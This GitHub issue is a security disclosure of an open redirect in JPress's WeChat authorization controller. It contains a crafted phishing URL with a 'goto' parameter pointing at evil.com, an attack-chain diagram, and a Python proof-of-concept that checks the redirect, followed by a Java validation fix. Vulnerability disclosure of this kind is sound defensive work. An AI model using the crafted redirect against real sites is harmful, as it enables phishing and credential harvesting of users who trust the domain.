Skip to content

[Security] Open Redirect in WechatAuthorizationController — goto Parameter Unvalidated #193

Description

@icysun

Open Redirect Vulnerability in JPress — WechatAuthorizationController

Affected Project: JPress (https://github.com/JPressProjects/jpress)
Vulnerability Type: Open Redirect (CWE-601)
CVSS v3.1: 4.3 (Medium) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Discoverer: icysun icysun@qq.com
Date: 2026-04-22


Summary

An unauthenticated open redirect vulnerability exists in JPress's WechatAuthorizationController. The goto parameter, received from user input, is incorporated into redirect operations without any URL validation — no whitelist, no domain check, no scheme restriction. An attacker can craft a link on the legitimate JPress domain that redirects victims to an arbitrary external URL, enabling phishing attacks that exploit the trust placed in the target domain.

Root Cause

The vulnerability resides in:

File: jpress-web/src/main/java/io/jpress/web/wechat/WechatAuthorizationController.java

Line Code Issue
77 String gotoUrl = getPara("goto"); User-supplied parameter retrieved without validation
94 String backUrl = domain + "/wechat/authorization/back?goto=" + gotoUrl; Unvalidated gotoUrl concatenated into OAuth callback URL
125 redirect(StrUtil.urlDecode(gotoUrl)); Direct redirect on WeChat authorization failure
144 redirect(StrUtil.urlDecode(gotoUrl)); Direct redirect on WeChat authorization success

The controller extends ControllerBase and has no @Before interceptor requiring authentication. The goto parameter flows from user input through the WeChat OAuth callback and into redirect() with zero sanitization.

Attack Chain

sequenceDiagram
    participant A as Attacker
    participant V as Victim
    participant JP as JPress Server
    participant WX as WeChat OAuth

    A->>V: Crafted link with goto=evil.com
    V->>JP: GET /wechat/authorization?goto=https://evil.com/phishing
    JP->>WX: 302 to open.weixin.qq.com/oauth2 (redirect_uri=JP domain, goto preserved)
    V->>WX: WeChat authorization page
    WX->>JP: Callback /wechat/authorization/back?goto=https://evil.com
    JP->>V: 302 redirect to https://evil.com/phishing
    V->>A: Victim lands on phishing page (trusted the JPress domain)
Loading

Step-by-step:

  1. Attacker crafts: https://target.com/wechat/authorization?goto=https://evil.com/phishing
  2. Victim clicks the link — URL appears to be a legitimate JPress domain.
  3. JPress issues a 302 redirect to WeChat OAuth2 authorization page. The redirect_uri points back to JPress itself (a valid, WeChat-whitelisted domain). The goto parameter is embedded in the callback URL.
  4. WeChat validates only the redirect_uri domain — it does not inspect the goto parameter. This provides no defense against this vector.
  5. After WeChat completes the OAuth flow (or on authorization failure), JPress receives the callback and executes redirect(StrUtil.urlDecode(gotoUrl)).
  6. Victim is redirected to the attacker-controlled https://evil.com/phishing page.

Proof of Concept

#!/usr/bin/env python3
"""
PoC for JPress Open Redirect via WechatAuthorizationController goto parameter
Demonstrates that the goto parameter is accepted without validation and
propagated through the OAuth callback to an external redirect.

Usage: python3 poc_jpress_redirect.py [target_url]
Default: http://localhost:8080
"""
import requests
import sys


def check_open_redirect(target: str) -> bool:
    """Test for open redirect by sending a goto parameter pointing to an external domain."""
    test_url = f"{target.rstrip('/')}/wechat/authorization?goto=https://evil.com/phishing"

    print(f"[*] Sending request to: {test_url}")
    try:
        r = requests.get(test_url, allow_redirects=False, timeout=10)
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False

    location = r.headers.get("Location", "")
    print(f"[*] Status Code: {r.status_code}")
    print(f"[*] Location Header: {location}")

    if r.status_code in (301, 302):
        # Case 1: Direct redirect to evil.com (e.g., in back() callback)
        if "evil.com" in location:
            print("[+] VULNERABLE: Direct open redirect to external domain confirmed!")
            print(f"[+] Redirects to: {location}")
            return True

        # Case 2: Redirects to WeChat OAuth page with goto param preserved
        if "open.weixin.qq.com" in location and "goto=" in location:
            print("[+] VULNERABLE: goto parameter preserved in WeChat OAuth redirect.")
            print("[+] After OAuth callback, victim will be redirected to https://evil.com/phishing")
            return True

        # Case 3: Redirects to WeChat OAuth (goto may be in state/encoded)
        if "open.weixin.qq.com" in location:
            print("[+] Redirects to WeChat OAuth page — goto param likely propagated via callback.")
            print("[+] Open redirect exploitable through the /wechat/authorization/back endpoint.")
            return True

    print("[-] Open redirect not directly observable in initial response.")
    print("[-] The redirect to evil.com occurs after WeChat OAuth callback.")
    return False


if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080"
    print(f"{'='*60}")
    print(f" JPress Open Redirect PoC")
    print(f" Target: {target}")
    print(f"{'='*60}")
    check_open_redirect(target)

Verification steps:

  1. Deploy JPress locally with WeChat module enabled.
  2. Run: python3 poc_jpress_redirect.py http://localhost:8080
  3. Observe the 302 redirect to WeChat OAuth with goto=https://evil.com/phishing preserved.
  4. Complete or skip WeChat authorization — observe the subsequent redirect to https://evil.com/phishing.

CVSS v3.1 Scoring

Metric Value Rationale
Attack Vector (AV) Network (N) Exploitable over the internet via a crafted URL
Attack Complexity (AC) Low (L) No special conditions; a single URL is sufficient
Privileges Required (PR) None (N) No authentication needed
User Interaction (UI) Required (R) Victim must click the crafted link
Scope (S) Changed (C) Redirect escapes the vulnerable component to an attacker-controlled origin
Confidentiality (C) None (N) Cookies are not sent cross-origin; no data exposure
Integrity (I) None (N) The redirect itself does not modify data
Availability (A) None (N) No impact on availability

Base Score: 4.3 (Medium)

Impact

  • Phishing: Attackers can craft URLs that appear to originate from a trusted JPress domain, leveraging the domain's reputation to deceive victims into visiting malicious sites.
  • Trust Exploitation: The initial redirect to WeChat's legitimate OAuth page further reinforces the illusion of authenticity.
  • Credential Harvesting: Victims may be tricked into entering credentials on attacker-controlled phishing pages.
  • Mitigating Factor: JPress session cookies carry SameSite policies by default (or are scoped to the JPress domain) and will not be transmitted to the external redirect destination. Token/session hijacking via this vector alone is low risk.

Fix Recommendation

Implement server-side URL validation before using the goto parameter in any redirect operation.

/**
 * Validates that a redirect URL is either a relative path
 * or points to an explicitly allowed domain.
 */
private boolean isSafeRedirect(String url) {
    if (url == null || url.isBlank()) {
        return false;
    }
    try {
        URI uri = new URI(url);

        // Allow relative paths (no scheme, no host)
        if (uri.getScheme() == null) {
            return true;
        }

        // Reject non-HTTP(S) schemes (e.g., javascript:, data:)
        if (!uri.getScheme().equalsIgnoreCase("http")
                && !uri.getScheme().equalsIgnoreCase("https")) {
            return false;
        }

        String host = uri.getHost();
        if (host == null) {
            return false;
        }

        // Only allow redirects to the application's own domain
        // Replace with your actual domain or configure via application properties
        String allowedDomain = System.getProperty("jpress.domain", "");
        return host.equals(allowedDomain)
                || host.endsWith("." + allowedDomain);

    } catch (URISyntaxException e) {
        return false;
    }
}

// Apply validation before using gotoUrl
String gotoUrl = getPara("goto");
if (!isSafeRedirect(gotoUrl)) {
    renderError(400, "Invalid redirect URL");
    return;
}

Additional hardening measures:

  1. Input allowlisting: Maintain a configurable list of permitted redirect destinations.
  2. Remove URL decoding before validation: Validate the raw parameter first, then decode — never decode before validation to avoid bypass via double-encoding.
  3. Use StringEscapeUtils or equivalent to prevent protocol-relative URLs (//evil.com) if not handled by the URI parser.
  4. Consider SameSite=Strict or Lax on session cookies as defense-in-depth against any future redirect-based attacks.

CVE Request

A CVE identifier is requested for this vulnerability.

  • Product: JPress
  • Vendor: JPressProjects (https://github.com/JPressProjects/jpress)
  • Vulnerability Type: CWE-601 — URL Redirection to Untrusted Site ('Open Redirect')
  • Affected Versions: Latest commit as of 2026-04-22 (all versions using WechatAuthorizationController with the goto parameter)
  • CVSS: 4.3 (Medium)

Responsible disclosure notice: This report is submitted to the JPress maintainers for coordinated disclosure. Please acknowledge receipt within 90 days. If no response is received, public disclosure will proceed.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions